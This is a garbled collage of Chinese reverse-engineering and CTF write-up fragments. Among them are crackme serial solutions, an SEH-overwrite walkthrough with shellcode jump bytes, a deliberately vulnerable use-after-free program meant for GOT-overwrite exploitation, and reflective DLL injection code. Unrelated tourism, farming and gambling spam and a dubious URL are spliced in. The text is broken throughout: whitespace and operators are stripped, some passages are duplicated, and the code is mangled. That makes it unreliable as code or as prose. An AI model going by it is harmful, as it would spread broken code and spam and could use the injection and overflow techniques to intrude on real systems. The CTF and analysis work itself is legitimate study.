gcd(r,n,rd,nd,z);ecurve2_mult(rd,p2,epInput);epoint2_get(epInput,x,y);charsx[256];charsy[256];cotstr(x,sx);cotstr(y,sy);printf(%s,sx);printf(%s,sy);}}用RDLP计算得到code7A7102F36F3B344D666132A6FF7EF4BA05B99640BB815C9E712A72C64B6ABC582C2这意味着浏览器无法进行渲染,也不能运行任何其他代码,它只是卡住了。,:0040100Dmovdword_41B034,:00401017callget_:::00401026moveax,dword_:0040102Btesteax,:0040102Djnzshortloc_:0040102FpushoffsetaYouGetIt;"Yougetit!".text:00401034callsub_:00401039addesp,:0040103Cxoreax,:0040103Eretncheck1v0!=0,v1!=0,v0!=v15*(v1-v0)+v1=0x8F503A4213*(v1-v0)+v0=0xEF503A42化简第一个等式得6*v1-5*v0=0x8F503A42,记为(1)check2v0!=0,v1!=0,v0!=v117*(v1-v0)+v1=0xF3A948837*(v1-v0)+v0=0x33A94883化简第一个等式得18*v1-17*v0=0xF3A94883,记为(2)化简(1),(2)得-2*v0=0x45B899BD,显然不成立2get_sn存在溢出,溢出修改返回地址为0x00413131,sn格式为:11112222333311Av0=0x31313131v1=0x32323232v2=0x33333333第一个验证:4*(v0-v1)+v0+v2=:004133E9subeax,0EAF917E2h第二个验证:3*(v0-v1)+v0+v2=:004135F7subeax,0E8F508C8h第三个验证:3*(v0-v1)+v0-v2=:004136D8subeax,0C0A3C68h化简得v0-v1=02040F1Av0+v2=E2E8DB7Av0-v2=05FE0F1Av0=7473754Av1=726F6630v2=6E756630Just0for0fun11ASatori家族重复使用Mirai代码,包括网络扫描器,telnet密码尝试和看门狗禁用(图4)。od无法调试,先使用ida静态分析,发现该程序加载驱动,patch掉驱动后再动态调试。,因为我们需要获取EPROCESS的UniqueProcessId,ActiveProcessLinks和Token三个字段,我们需要找出一种方式来知晓它们正确的偏移。,EPROCESS就是其中之一,这意味着成员的偏移在不同Windows版本间也会有所变化。、www.vns79898.com、然后杀死所有Telnet和SSH相关的进程,并连接到C2服务器以接收更多命令。。 处理逻辑encode1是base64,encode2和encode3比较简单,略过sn=encode3(sn)+encode2(sn)+encode1(sn)publicclassMainextendsac{...protectedvoidonCreate(){();...//这个不懂为什么没生效,生效的是基类那个(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassuvextendscc{...protectedvoidonCreate(BundlesavedInstanceState){(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassua{static{(enjoy);}...publicstaticnativeintcheck(uathis,Stringarg1){}}处理逻辑JNI_OnLoad中有两个校验和反调试的地方,静态分析的时候直接nop掉,安装完后再替换掉就可以正常调试了(有检测dexsignature和TracerPid什么的).text:00001F4CBLcheck_:00001F50BLcheck_threadso中的check函数.text:00001F38MOVSR3,#:00001F3CLDRR5,[R2,R3].text:00001F3ELDRR2,=(off_5E54-0x1F48).text:00001F40MOVSR0,:00001F42MOVSR3,#:00001F44ADDR2,PCoff_::00005E54off_5E54JNINativeMethodbyte_5E60,aLjavaLangStrin,check+1len(sn)=120,原始sn长度范围(x+x+x/3*4=120):11~36从结果来看原始sn长度是36,但是我后面是从11开始穷举的,浪费了大量的时间.mytext:0000313ELDRR1,[R5].mytext:00003140MOVSR3,#:00003144LDRR3,[R1,R3].mytext:00003146MOVSR2,#:00003148MOVSR1,:0000314AMOVSR0,::0000314EMOVSR6,:00003150BLj_j_strlen_:00003154STRR4,[SP,#0x50+var_4C].mytext:00003156MOVSR1,#:00003158CMPR0,#:0000315ABGTloc_:0000315CADDR4,SP,#0x50+:0000315EMOVSR2,#:00003160MOVSR0,:00003162BLj_j_memset_:00003166MOVSR1,:00003168MOVSR2,#:0000316AMOVSR0,:0000316CBLj_j_memcpy_:00003170LDRR2,[R5].mytext:00003172MOVSR3,#:00003176LDRR3,[R2,R3].mytext:00003178MOVSR1,:0000317AMOVSR2,:0000317CMOVSR0,::00003180MOVSR0,:00003182BLj_j_strlen_:00003186MOVSR1,:00003188MOVSR0,:0000318ABLcheck_snBYTEbuf[40];BYTEkey1[8];BYTEkey2[16];CopyMemory(buf,sn,36);FillMemory(buf+36,0x04,0x04);des_enc(buf,sizeof(buf),key1);(这里des_set_key在处理PC2_Table的时候与标准有偏差)CopyMemory(key2[12],buf[32],4);rc6_encrypt(buf,32,key2,sizeof(key2));(这个不常碰到,跟了一遍)memcmp(buf,expected,32)==0rc6与标准的区别:Q:0x9e3779b9L=0x61C88647L处理前和处理后都进行了byteswap32signedint__fastcallcheck_sn(constvoid*a1,size_ta2){...if(a2==36){v6=j_j_malloc(0x28u);v7=v6;if(v6){j_j_memcpy(v6,v3,v4);v7[36]=4;v7[37]=4;v7[38]=4;v7[39]=4;do{v8=g_key1[v2];v9=0;do{v17[8*v2+v9]=(v8(7-v9))1;++v9;}while(v9!=8);++v2;}while(v2!=8);des_set_key((int)v17);v10=0;do{v11=v7[v10];j_j_memcpy(dest,v7[v10],8u);v15=0;v16=0;des_1840((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);update_key2((int)g_key2,(int)v15);rc6_encrypt(v7,0x20u,(int)g_key2,16);v12=0;while((unsigned__int8)v7[v12]==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}}}result=0;...}3.穷举sn以kxuectf{开头,以}结尾这里直接按sn长度为36位来穷举了voidDes_SetKey(constcharKey[8]){staticboolK[64];staticboolKL[56];staticboolKR[56];ByteToBit(K,Key,64);Transform(K,K,PC1_Table,56);CopyMemory(KL[0],K[0],28);CopyMemory(KL[28],K[0],28);CopyMemory(KR[0],K[28],28);CopyMemory(KR[28],K[28],28);intoffset=0;for(inti=0;ii++){offset+=LOOP_Table[i];boolTmp[256];for(intn=0;nn++){if(PC2_Table[n]=28){Tmp[n]=KR[PC2_Table[n]-1-28+offset];}else{Tmp[n]=KL[PC2_Table[n]-1+offset];}}memcpy(SubKey[i],Tmp,48);}}voidtest_sn36(){constchar*charset=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}constchar*charset2=^_`mEJCTNKOGWRSFYVLZQAH[\\]upibejctnkogwrsfyvlzqahmdxKOGWRSFYVLuiconstchar*charset3=NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm76543210}{intsn_len=36;intindices[36];charsn[40]=BYTEkey1[8]={0xFD,0xB4,0x68,0x54,0x08,0xCD,0x56,0x4E};BYTEkey2[16]={0x65,0x48,0x32,0xEF,0xBA,0xCD,0x56,0x4E,0x0F,0x9B,0x1D,0x27,0x00,0x00,0x00,0x00};CopyMemory(sn,kxuectf{,8);strings1=encode3((PBYTE)sn,8);for(intk1=0;k164;k1++){for(intk2=0;k264;k2++){for(intk3=0;k364;k3++){BYTEexpected[32]={0x42,0xD3,0xC3,0xC2,0xF1,0x2A,0xE9,0x2D,0x66,0xC9,0x28,0x22,0x2C,0xEB,0x54,0x0E,0x94,0x07,0xE5,0x77,0x4A,0x92,0xB7,0x92,0x2E,0x5D,0xFD,0xF0,0xF3,0x54,0x9F,0xC6};BYTEbuf1[8];buf1[0]=charset3[k1];buf1[1]=charset3[k2];buf1[2]=charset3[k3];buf1[3]=charset3[63];FillMemory(buf1+4,4,0x04);des_encrypt(buf1,8,key1);CopyMemory(key2[12],buf1,4);rc6_decrypt(expected,sizeof(expected),key2);des_decrypt(expected,sizeof(expected),key1);if(memcmp(expected,_str(),8)==0){CopyMemory(sn,expected,32);sn[32]=charset3[k1];sn[33]=charset3[k2];sn[34]=charset3[k3];sn[35]=charset3[63];sn[sn_len]=0;conver_charset(sn,sn_len,indices,charset,charset3);printf(%s,sn);}}}}}kxuectf{D3crypted1sV3rylntere5tin91}这样就可以将0替换为这样就可以绕过上面代码的检测,同时还可以能够正确地执行SQL语句。,  在平南走访,绿色生态是许多种养户挂在嘴边的热词。一些未文档化的结构在不同Windows版本间有所变化。其中西山泉汽车露营地是广西第一个以体育休闲为主题,依照五星级汽车露营地标准打造的集户外运动、观光旅游、休闲养生、度假居住为一体的精品体育休闲运动营地,占地327497平方米,拥有9927平方米的主会场,可同时容纳6000余人,拥有88个房车营位,21间汽车旅馆、8栋溪谷木屋、5个观星帐篷、5间野奢帐篷、16间穹顶营房等多个个性化住宿产品。 ,OD载入,输入123456,点确定半天没反应,忽然来个内存异常。  除了水稻加单种水产品养殖模式之外,灌阳县还成功探索了“稻+鱼鳅龟鳖等品种”混养模式,该模式能充分利用水体空间,健全生物链,改善环境条件,达到增产量提品质的目的。do{v11=(void*)(sn_3+v10);j_j_memcpy(dest,(constvoid*)(sn_3+v10),8u);v15=0;v16=0;des_encrypt((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);对sn进行des加密update_key2((int)key2,(int)v15);rc6_encrypt(sn_3,0x20u,(char*)key2,16);v12=0;while(*(_BYTE*)(sn_3+v12)==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}上面是更新rc6的key(替换key后4字节为des加密结果+32处4字节),并且进行rc6加密。do{v11=(void*)(sn_3+v10);j_j_memcpy(dest,(constvoid*)(sn_3+v10),8u);v15=0;v16=0;des_encrypt((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);对sn进行des加密update_key2((int)key2,(int)v15);rc6_encrypt(sn_3,0x20u,(char*)key2,16);v12=0;while(*(_BYTE*)(sn_3+v12)==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}上面是更新rc6的key(替换key后4字节为des加密结果+32处4字节),并且进行rc6加密。目前在谈重大项目29个,计划投资总额115亿多元;新开工计划投资亿元的澳州坚果农业种植项目和计划投资1亿元的宏远科技年产两轮电动车车身配件10万套项目。”公司副总经理田小鹏说。nt!_MMPFNWindows内存管理持有系统中每个物理页的信息,放置在一个叫PFN数据库的数组中。、但是这里还有一个细节就是当你向上跳转的时候是jmp一个负的地址那么这条jmpXXXX这条指令就会撑爆当前的这四个字节空间,覆盖掉了后面的sehandler数据,所以我们要先在下面找到一个比较近的一块空区域然后在那块区域的地址上写上我们jmpshellcode的指令.我们选择0018FF8O这个地址现在我们加长我们的文本,可以看到下图中,现在搜索我们的poppopret指令,反汇编窗口ctrl+G输入00401804在然后再pop上下断点,shitf+f9运行观察eip,当执行完ret指令后的当前指令修改为jmp0018FF80上图是覆盖PointertoNextRecord为jmp0018FF80为向下跳转,单步一步,然后这里需要一个向上跳转的jmp这里就用我们文本的第一个字节作为shellcode起始位置0018FF80jmp0018FF80的二进制是E9B3FBFF此时0018FF80地址处的指令就是jmp0018FF80单步就到了我们的buf头了可以看到我们覆盖的数据了,二进制是这样的接下来我们就在buf中扣一段shellcode在0018FF80这里写指令跳到它的首地址直接用第一个字节的地址0018FB38总结下过程:1.找到SEH处理函数,寻找跳板poppopret来覆盖掉ntdll中的seHandler2.构造跳板跳向shellcode,字节长度问题可以在seHandler下方找跳板间接找跳板跳向shellcode漏洞代码如下:######{intreply_count;structMessage*nextMsg;intmsgid;char*author;intauthor_size;char*title;inttitle_size;char*content;intcontent_size;inttotal_num;};structMessage*head,*tail;charinput_buffer[0x1000];voidread_input(char*buf,intread_len,intbuf_size){if(NULL==buf||read_len=0)return;memset(buf,0,buf_size);inti=0;chartemp_char;while(1){temp_char=getchar();if(iread_len)buf[i]=temp_char;if(temp_char==0xA)break;i++;}}uint32_tread_input_uint(char*buf,intread_len,intbuf_size){read_input(buf,read_len,buf_size);returnstrtoul(buf,0,10);}voidinsertMessage(intmessageId){structMessage*tmp=head;while(tmp-nextMsg!=tail){tmp=tmp-nextMsg;}structMessage*new_msg;new_msg=(structMessage*)malloc(sizeof(structMessage));new_msg-msgid=messageId;write(STDOUT_FILENO,"inputyounamelen:",20);new_msg-author_size=read_input_uint(input_buffer,sizeof(input_buffer),sizeof(input_buffer));new_msg-author=(char*)malloc(new_msg-author_size);write(STDOUT_FILENO,"inputyouname:",16);read_input(new_msg-author,new_msg-author_size,new_msg-author_size);write(STDOUT_FILENO,"inputyoutitlelen:",21);new_msg-title_size=read_input_uint(input_buffer,sizeof(input_buffer),sizeof(input_buffer));new_msg-title=(char*)malloc(new_msg-title_size);write(STDOUT_FILENO,"inputyoutitle:",17);read_input(new_msg-title,new_msg-title_size,new_msg-title_size);write(STDOUT_FILENO,"inputyoucontentlen:",23);new_msg-content_size=read_input_uint(input_buffer,sizeof(input_buffer),sizeof(input_buffer));new_msg-content=(char*)malloc(new_msg-content_size);write(STDOUT_FILENO,"inputyoucontent:",19);read_input(new_msg-content,new_msg-content_size,new_msg-content_size);new_msg-nextMsg=tmp-nextMsg;tmp-nextMsg=new_msg;}structMessage*print_msg(intmsgid){structMessage*tmp=head;while(tmp!=tail){if(tmp-msgid==msgid){write(STDOUT_FILENO,"msgauthor:",11);write(STDOUT_FILENO,tmp-author,tmp-author_size);write(STDOUT_FILENO,",msgtitle:",11);write(STDOUT_FILENO,tmp-title,tmp-title_size);write(STDOUT_FILENO,",msgcontent:",13);write(STDOUT_FILENO,tmp-content,tmp-content_size);//write(STDOUT_FILENO,",msgreplycount:",17);//write(STDOUT_FILENO,tmp-reply_count,4);write(STDOUT_FILENO,"",1);/*printf("msgauthor:%s,msgtitle%s,msgcontent%s,msgreplycount%d",tmp-author,tmp-title,tmp-content,tmp-reply_count);*/returntmp;}tmp=tmp-nextMsg;}returnNULL;}voiddelete_msg(structMessage*delmsg){//deletelinkedlistmsgandfreestructMessage*tmp=head;while(tmp-nextMsg!=delmsg){tmp=tmp-nextMsg;}tmp-nextMsg=delmsg-nextMsg;//freefree(delmsg-author);free(delmsg-content);free(delmsg-title);free(delmsg);}voidmodify_msg(structMessage*modifymsg){intsize=0;chartemp[0x100];write(STDOUT_FILENO,"inputnewnamelen:",20);size=read_input_uint(input_buffer,sizeof(input_buffer),sizeof(input_buffer));if(size0x100)return;write(STDOUT_FILENO,"inputnewname:",16);read_input(temp,size,0x100);memcpy(modifymsg-author,temp,size);modifymsg-author_size=size;write(STDOUT_FILENO,"inputnewtitlelen:",21);size=read_input_uint(input_buffer,sizeof(input_buffer),sizeof(input_buffer));if(size0x100)return;write(STDOUT_FILENO,"inputnewtitle:",17);read_input(temp,size,0x100);memcpy(modifymsg-title,temp,size);modifymsg-title_size=size;write(STDOUT_FILENO,"inputnewcontentlen:",23);size=read_input_uint(input_buffer,sizeof(input_buffer),sizeof(input_buffer));if(size0x100)return;write(STDOUT_FILENO,"inputnewcontent:",19);read_input(temp,size,0x100);modifymsg-content=(char*)malloc(size);memcpy(modifymsg-content,temp,size);modifymsg-content_size=size;}voidmain(){structMessageHEAD,TAIL;head=HEAD;tail=TAIL;head-nextMsg=tail;head-msgid=0;tail-nextMsg=NULL;tail-msgid=-1;charusage[128]=",,;pleaseinputyouchoice.";charoperate_usage[80]="Pleaseselecttheoperate:";intcmd=0,msg_count=0,operate=0;while(1){write(STDOUT_FILENO,usage,strlen(usage));read_input(input_buffer,sizeof(input_buffer),sizeof(input_buffer));sscanf(input_buffer,"%d",cmd);switch(cmd){case1://添加留言msg_count++;insertMessage(msg_count);break;case2:write(STDOUT_FILENO,"inputmsgidwillread:",23);intread_msg_id=0;read_input(input_buffer,sizeof(input_buffer),sizeof(input_buffer));sscanf(input_buffer,"%d",read_msg_id);structMessage*read_msg=print_msg(read_msg_id);if(read_msg==NULL){//write(STDOUT_FILENO,"msgiderror",12);return;}while(1){write(STDOUT_FILENO,operate_usage,strlen(operate_usage));operate=read_input_uint(input_buffer,sizeof(input_buffer),sizeof(input_buffer));//sscanf(input_buffer,"%d",operate);if(operate==1){delete_msg(read_msg);}elseif(operate==2){modify_msg(read_msg);}elseif(operate==3){read_msg-reply_count++;}elseif(operate==4){break;}}break;case3:write(STDOUT_FILENO,"exit",5);return;}}}保护措施在下列攻击阶段产生作用:阶段2(诱惑)-识别并阻止与此攻击相关的恶意内容。用IDA打开,在00408E16修改为0xcc,保存.text::00408E10loc_408E10:CODEXREF:sub_408E00+76:00408E10DATAXREF:sub_408E00+71::00408E11pushoffsetnullsub_:00408E16retn将OD设置为默认调试程序,双击运行程序。它跟从六月开始发起攻击()的Petya(AKANotPetya,GoldenEye,ExPetr,Petrwrap)很像:勒索信息在内容和风格上很相似;它们要求的赎金量也差不多(六月是300美元对应现价值280美元的比特币);而且它也是一旦侵入网络,就尝试横向传播(注:转移至附近结点)。LPVOIDlpBuffer=HeapAlloc(GetProcessHeap(),0,dwLength);//创建缓冲区if(ReadFile(hFile,lpBuffer,dwLength,dwBytesRead,NULL)==false)//将DLL数据复制到缓冲区BreakForError("FailedtoreadtheDLLfile");HANDLEhTargetProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwPid);HANDLEhMoudle=LoadRemoteLibraryR(hTargetProcess,lpBuffer,dwLength,NULL);//获取加载器的地址(文件偏移)DWORDdwReflectiveLoaderOffset=GetReflectiveLoaderOffset(lpBuffer);//在目标进程分配内存(RWX)LPVOIDlpRemoteLibraryBuffer=VirtualAllocEx(hProcess,NULL,dwLength,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);//写数据WriteProcessMemory(hProcess,lpRemoteLibraryBuffer,lpBuffer,dwLength,NULL);//线程函数的地址=基地址+文件偏移LPTHREAD_START_ROUTINElpReflectiveLoader=(LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer+dwReflectiveLoaderOffset);//创建远程线程hThread=CreateRemoteThread(hProcess,NULL,1024*1024,lpReflectiveLoader,lpParameter,(DWORD)NULL,dwThreadId);//基址-在Dropper进程中开辟的堆空间的起始地址UINT_PTRuiBaseAddress=(UINT_PTR)lpReflectiveDllBuffer;//得到NT头的文件地址UINT_PTRuiExportDir=(UINT_PTR)uiBaseAddress+((PIMAGE_DOS_HEADER)uiBaseAddress)-e_lfanew;//获得导出表结构体指针的地址UINT_PTRuiNameArray=(UINT_PTR)(((PIMAGE_NT_HEADERS)uiExportDir)-[IMAGE_DIRECTORY_ENTRY_EXPORT]);//该调用中,第一个参数即为导出表结构体映射到内存的相对虚拟地址//结果为找到到导出表结构体的内存地址uiExportDir=uiBaseAddress+Rva2Offset(((PIMAGE_DATA_DIRECTORY)uiNameArray)-VirtualAddress,uiBaseAddress);//得到导出表名称数组在内存中的地址RVAuiNameArray=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfNames,uiBaseAddress);//得到导出函数地址表在内存中的地址RVAUINT_PTRuiAddressArray=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfFunctions,uiBaseAddress);//得到函数序号地址表在内存中的地址UINT_PTRuiNameOrdinals=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfNameOrdinals,uiBaseAddress);//导出函数的数量DWORDdwCounter=((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-NumberOfNames;while(dwCounter--){//这里需要将获取到的各表的RVA转化为各表实际的文件偏移char*cpExportedFunctionName=(char*)(uiBaseAddress+Rva2Offset((*(DWORD*)uiNameArray),uiBaseAddress));if(strstr(cpExportedFunctionName,"ReflectiveLoader")!=NULL){//获取地址表起始地址的实际位置uiAddressArray=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfFunctions,uiBaseAddress);//根据序号找到序号对应的函数地址uiAddressArray+=(*(WORD*)(uiNameOrdinals)*sizeof(DWORD));//返回ReflectiveLoader函数的文件偏移,即函数机器码的起始地址returnRva2Offset((*(DWORD*)uiAddressArray),uiBaseAddress);}uiNameArray+=sizeof(DWORD);uiNameOrdinals+=sizeof(WORD);}DWORDRva2Offset(DWORDdwRva,UINT_PTRuiBaseAddress){//得到nt头在内存中的实际地址PIMAGE_NT_HEADERSpNtHeaders=(PIMAGE_NT_HEADERS)(uiBaseAddress+((PIMAGE_DOS_HEADER)uiBaseAddress)-e_lfanew);//获得节表PIMAGE_SECTION_HEADERpSectionHeader=(PIMAGE_SECTION_HEADER)((UINT_PTR)(pNtHeaders-OptionalHeader)+);//不在任意块内if(dwRvapSectionHeader[0].PointerToRawData)returndwRva;//通过遍历块,来找到相对偏移地址对应的文件偏移地址for(WORDwIndex=0;;wIndex++){if(dwRva=pSectionHeader[wIndex].VirtualAddressdwRva(pSectionHeader[wIndex].VirtualAddress+pSectionHeader[wIndex].SizeOfRawData))return(dwRva-pSectionHeader[wIndex].VirtualAddress+pSectionHeader[wIndex].PointerToRawData);//\------------------块内偏移-------------------/\-----------块在文件中的偏移------------/}}回想我们注射器实现的过程中所调用的函数,与正常的注入似乎没有太大的区别,而且像CreateRemoteProcess这种危险函数杀软抓的很严,是可以被替换掉的,而且没有发现LoadLibraryA函数。,贵港是国家一类对外开放口岸,海关等口岸联检机构齐全。、V8将托管的堆分成几代,最初是在年轻generation的“nursery”中分配对象。:0040100Dmovdword_41B034,:00401017callget_:::00401026moveax,dword_:0040102Btesteax,:0040102Djnzshortloc_:0040102FpushoffsetaYouGetIt;"Yougetit!".text:00401034callsub_:00401039addesp,:0040103Cxoreax,:0040103Eretncheck1v0!=0,v1!=0,v0!=v15*(v1-v0)+v1=0x8F503A4213*(v1-v0)+v0=0xEF503A42化简第一个等式得6*v1-5*v0=0x8F503A42,记为(1)check2v0!=0,v1!=0,v0!=v117*(v1-v0)+v1=0xF3A948837*(v1-v0)+v0=0x33A94883化简第一个等式得18*v1-17*v0=0xF3A94883,记为(2)化简(1),(2)得-2*v0=0x45B899BD,显然不成立2get_sn存在溢出,溢出修改返回地址为0x00413131,sn格式为:11112222333311Av0=0x31313131v1=0x32323232v2=0x33333333第一个验证:4*(v0-v1)+v0+v2=:004133E9subeax,0EAF917E2h第二个验证:3*(v0-v1)+v0+v2=:004135F7subeax,0E8F508C8h第三个验证:3*(v0-v1)+v0-v2=:004136D8subeax,0C0A3C68h化简得v0-v1=02040F1Av0+v2=E2E8DB7Av0-v2=05FE0F1Av0=7473754Av1=726F6630v2=6E756630Just0for0fun11A,而且大多数浏览器会通过抛出错误来应对,询问是否要终止网页。UseAfterFree本贴讲述如何利用UAF漏洞,实现GOT表覆盖,从而实现命令执行,另外漏洞程序由本人通过逆向14年的ctf获得,同时进行了一些功能的精简,从而得到下面的漏洞程序,解决漏洞讲解没有漏洞源码源码的问题。有3处"sizeof(BloomWord)"的使用应为"sizeof(BloomWord)*8",因为我们处理的是位,而不是字节。。

WindowsDefenderExploitGuard管理器所有WindowsDefender漏洞防护组件都可以通过组策略(GP),系统中心配置管理器(SCCM)和移动设备管理(MDM)以及MicrosoftIntune进行管理。运行,OD附加前往401000,看着挺像处理代码的下断运行,输入sn后断下(运气挺好)这个应该是初始化luabytecode(看后面字符串,功能应该是xor)0040103D885C2436movbyteptrss:[esp+36],bl0040104188442437movbyteptrss:[esp+37],al00401045C644243807movbyteptrss:[esp+38],70040104A885C2439movbyteptrss:[esp+39],bl...初始化的栈信息0012FA4E0010927C0000000000001B4C4A02023B.抾......LJ;0012FA5E00020700030009360200003902010236....6..960012FA6E03000039030203120400001205010012..9...0012FA7E06010042030400430200000873756209.B.C.. string.0012FA9E00050175360100003901010112020000.u6..9..0012FAAE42010202080100005801028029010000B..X)..0012FABE4C010200360102003901030136020400L.6.96.0012FACE12030000290401004202030229037000..).B)6.96.0012FAEE12040000290502004203030229046500..).B)6.96.0012FB0E12050000290603004204030229056400..).B)6.96.0012FB2E12060000290704004205030229066900..).B)6.96.0012FB4E12070000290805004206030229077900..).B)6.96.0012FB6E12080000290906004207030229083100..)..B)6.96.0012FB8E12090000290A07004208030229093200...)..B).6.96..0012FBAE120A0000290B080042090302290A3300...) .B.).6..9..6..0012FBCE120B0000290C0900420A0302290B3400 ..)...B.) 6..9..6 .0012FBEE120C0000290D0A00420B0302290C3500...)...B ).6 .9  6..0012FC0E120D0000290E0B00420C0302290D3600...) .B.). 6..9..6..0012FC2E120E0000290F0C00420D0302290E3700..)..B.)....0012FC4E12100400121105001212060012130700....0012FC5E121408001215090012160A0012170B00..... .0012FC6E12180C004A0D0D000762790962786F72..J...bitlen string0012FC8E3D030002000600083600000027010100=...6....0012FC9E42000201330002003700030033000400B.3..7..3..0012FCAE370005004B000100096D61696E0007627..K...main.b0012FCBE7900086269740C726571756972650002y.0012FCCE0000FE55F9EAEBD15D00313233343536..㑳胙].1234560012FCDE00000000000000000000000000000000................0012FCEE00000000000000000000000000000000................0012FCFE00000000000000000000000000000000................lua初始化,43Cleaeax,dwordptrss:[esp+3C],380040220E85C0testeax,每个字符(恩,虽然是猜的,但是后面证明猜对了)lua_xor(sn[i])xor05120A2942417561358355940040222C55pushebp00,eax004022376AF5push-0B0040223956pushesi0040223A83F705xoredi,,eax004022446AF6push-0A0040224656pushesi0040224783F312xorebx,,eax004022516AF7push-90040225356pushesi0040225483F50Axorebp,,290040225F6AF8push-80040226156pushesi0040226289442458movdwordptrss:[esp+58],,420040226E6AF9push-70040227056pushesi0040227189442448movdwordptrss:[esp+48],,410040227D6AFApush-60040227F56pushesi0040228089442460movdwordptrss:[esp+60],,750040228C6AFBpush-50040228E56pushesi0040228F89442460movdwordptrss:[esp+60],,400040229B83F061xoreax,610040229E6AFCpush-4004022A056pushesi004022A189442418movdwordptrss:[esp+18],,35004022AD6AFDpush-3004022AF56pushesi004022B089442424movdwordptrss:[esp+24],,83004022BE6AFEpush-2004022C056pushesi004022C189442434movdwordptrss:[esp+34],,55004022CD6AFFpush-1004022CF56pushesi004022D089442444movdwordptrss:[esp+44],,94结果必须为:18161E2F4811213733865294004022F383FF18cmpedi,18004022F67554jnzshort0040234C004022F883FB16cmpebx,16004022FB754Fjnzshort0040234C004022FD83FD1Ecmpebp,1E00402300754Ajnzshort0040234C00402302837C24302Fcmpdwordptr[esp+30],2F004023077543jnzshort0040234C00402309837C241848cmpdwordptr[esp+18],480040230E753Cjnzshort0040234C00402310837C242811cmpdwordptr[esp+28],11004023157535jnzshort0040234C00402317837C242021cmpdwordptr[esp+20],210040231C752Ejnzshort0040234C0040231E837C241037cmpdwordptr[esp+10],37004023237527jnzshort0040234C00402325837C241433cmpdwordptr[esp+14],330040232A7520jnzshort0040234C0040232C817C241C86000cmpdwordptr[esp+1C],86004023347516jnzshort0040234C00402336837C242452cmpdwordptr[esp+24],520040233B750Fjnzshort0040234C0040233D817C242C94000cmpdwordptr[esp+2C],94004023457505jnzshort0040234C004023478D47E9leaeax,dwordptr[edi-17]0040234AEB02jmpshort0040234E0040234C33C0xoreax,eax没看lua代码,直接试了下voidtest(){BYTEkey1[12];//123456789012BYTEbuf1[12]={0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x30,0x31,0x32};//call00412CE0的结果BYTEbuf2[12]={0x41,0x57,0x57,0x5D,0x4C,0x07,0x05,0x0B,0x0D,0x05,0x07,0x05};BYTEkey2[12]={0x05,0x12,0x0A,0x29,0x42,0x41,0x75,0x61,0x35,0x83,0x55,0x94};BYTEexpected[12]={0x18,0x16,0x1E,0x2F,0x48,0x11,0x21,0x37,0x33,0x86,0x52,0x94};for(inti=0;i12;i++){key1[i]=buf1[i]^buf2[i];}BYTEsn[13]={0};for(inti=0;i12;i++){sn[i]=key1[i]^key2[i]^expected[i];}printf(%s,sn);}maposafe2017,该引用计数会在变成0时递减。“aquario”是南美洲国家流行无线路由器的默认密码。。现金赌博当一个用模式线程转换到UI线程,它会发起一个到USER32或GDI32中API的调用。Amnesia的作者正打算击败基于Linux的恶意软件分析沙箱,并且由于代码中的硬编码字符串(“fxxkwhitehats”)而给安全研究人员带来麻烦。1.处理逻辑(大数运算用的gmp)sn长度为70,前6位是e,后面的是p已知n,d,pq,求e,p,qn:6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189d:2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4B2.求解因为e0x1000000,所以可以穷举e,得到e:F552B3有了e,因为e过小,可以直接得到p和q这里借用stackoverflow上的内容3.脚本importitertoolsfromgmpy2import*#e=0xF552B3n=0x6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189d=0x2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4Bdefget_e(n,d):(0xFFFFFF,-1):ifi=2:return0e=iifnotis_prime(e,500):continuem=0x12345678c=powmod(m,d,n)m2=powmod(c,e,n)ifm==m2:returnereturn0defget_p_q(e,n,d):ed=mul(e,d)k1=div(ed,n)kk=[k1-1,k1,k1+1]foriinrange(len(kk)):k=kk[i](t,rem)=t_divmod(ed-1,k)if(rem!=0):continues=n+(1)-(t)r=isqrt(mul(s,s)-mul(4,n))p=div(s+r,2)q=div(s-r,2)if(pq):p=qprint(sn:%X%X%(e,p))returne=get_e(n,d)print(e:%X%e)get_p_q(e,n,d)。 